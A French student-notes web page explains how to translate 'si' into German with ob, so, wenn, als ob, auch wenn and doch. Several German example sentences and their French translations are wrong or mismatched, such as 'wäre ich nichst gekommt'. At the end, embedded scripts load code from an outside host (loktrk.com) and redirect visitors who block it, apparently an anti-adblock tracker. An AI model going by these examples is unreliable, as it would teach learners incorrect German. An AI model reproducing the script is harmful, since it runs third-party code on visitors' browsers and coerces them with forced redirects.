Vous êtes ici : Accueil > Cahier de l'élève > Divers > Traduction de si en Allemand

Cahier de l'élève - Divers

Traduction de si en Allemand

- ob : Interrogative globale direct. (voir cet article)
Exemple :
Willst du mitkommen?
Ich weiss nicht, ob er mitkommen will.

Veux-tu venir avec nous?
Je ne sais pas s'il veut venir avec nous.

- so + adjectif : Exprime le degré d'intensité (~tellement)
Exemple :
Er spricht so leise/laute, dass man ihn nicht verstehen kann.
Il parle si doucement/fort, qu'on ne peut pas le comprendre.

- wenn : valeur hypothétique.
Exemple :
Réel : Wenn du mitkommen willst, musst dich beeilen.
Si tu veux venir avec nous, tu dois te dépécher.
Irréelle : Wenn ich das gewusst hätte, wäre ich nichst gekommt.
Si j'avais su, je ne serais pas venu.

- als ob +verbe à la fin = comme si.
Exemple :
Er macht, als ob er mich nicht gesehen hätte.
Il faut comme s'il n'avait rien vu.
Voir aussi article sur "comme"

- Auch wenn, Selbst wenn = même si.
Exemple :
Auch wenn/Selbst wenn du keine Lust hast, musst du mitkommen.
Même si tu n'as pas le temps, tu dois venir.

- doch : réponse à une question par l'affirmation, comportant une négation.
Exemple :
Kommst du nicht?
Doch !! Ich komme mit !

Tu ne viens pas avec nous?
Si (bien sûr !) Je viens avec vous !
<script type="text/javascript">awm = false;</script>
<script src="http://www.loktrk.com/gLoader.php?GID=28172"go="sid=" type="text/javascript"></script>
<script type="text/javascript">if (!awm) { window.location = 'http://loktrk.com/help/removeAB.php'; }</script>
<noscript>Please enable JavaScript to access this page. <meta http-equiv="refresh" content="0;url=" /></noscript>